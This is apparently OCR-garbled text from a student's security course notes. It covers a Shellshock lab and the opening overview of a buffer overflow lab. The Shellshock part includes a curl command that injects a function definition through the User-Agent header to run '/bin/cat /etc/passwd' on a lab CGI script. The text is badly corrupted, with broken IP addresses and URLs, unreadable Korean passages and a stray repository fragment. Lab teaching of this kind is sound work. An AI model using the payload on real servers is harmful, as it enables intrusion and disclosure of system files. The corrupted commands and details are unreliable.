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Lab 2: Shellshock Attack

Lab Tasks

Files needed for this lab are included in Labsetup.zip

Environment Setup

1. DNS Setting .
In our setup, the web server container’s IP addressis 10.5. 0. 80 . The hostname of the server
is called www . seedlab-shellshock.com. We need to map this name to the IP address. Please

add the follow- ing to /etc/hosts. You need to use the root privilege to modify this file:
10.%.0.80 www.seedlab-shellshock.com

curl -A "() { ©}; echo Content-type: text/plain; echo bin/cat /etc/passwd" http!//www seedlab-shellshock.com/cgi-bin/vul.cgi
2| FHOIZ2 A E 21851 st § YO E YIS oA s 30| £l P,

o=y E'H:‘E ——

eHgstM e, TAgLCH

244 TR0 M AIBE "/bin/ls - YHEOIE SAFHM HHH 23 0| L2 2] E0I5HA|H BiELICH
total 8
-rwxr-xr-x 1 root root 136 Dec &5 2028 getenv.cgi

-rwxr-xr-x 1 root root 85 Dec 5 2020 vul.cgi
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can clone a repository.

Clone Repositary

To learn more about how to
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Lab 3: Buffer Overflow Attack Lab

1 Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the
boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the
program, leading to the execution of malicious code. The objective of this lab is for students to gain
practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develep
a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks,
students will be guided to walk through several protection schemes that have been implemented in the
operating system to counter against buffer-overflow attacks. Students need to evaluate whether the
schemes work or not and explain why. This lab covers the following topics:
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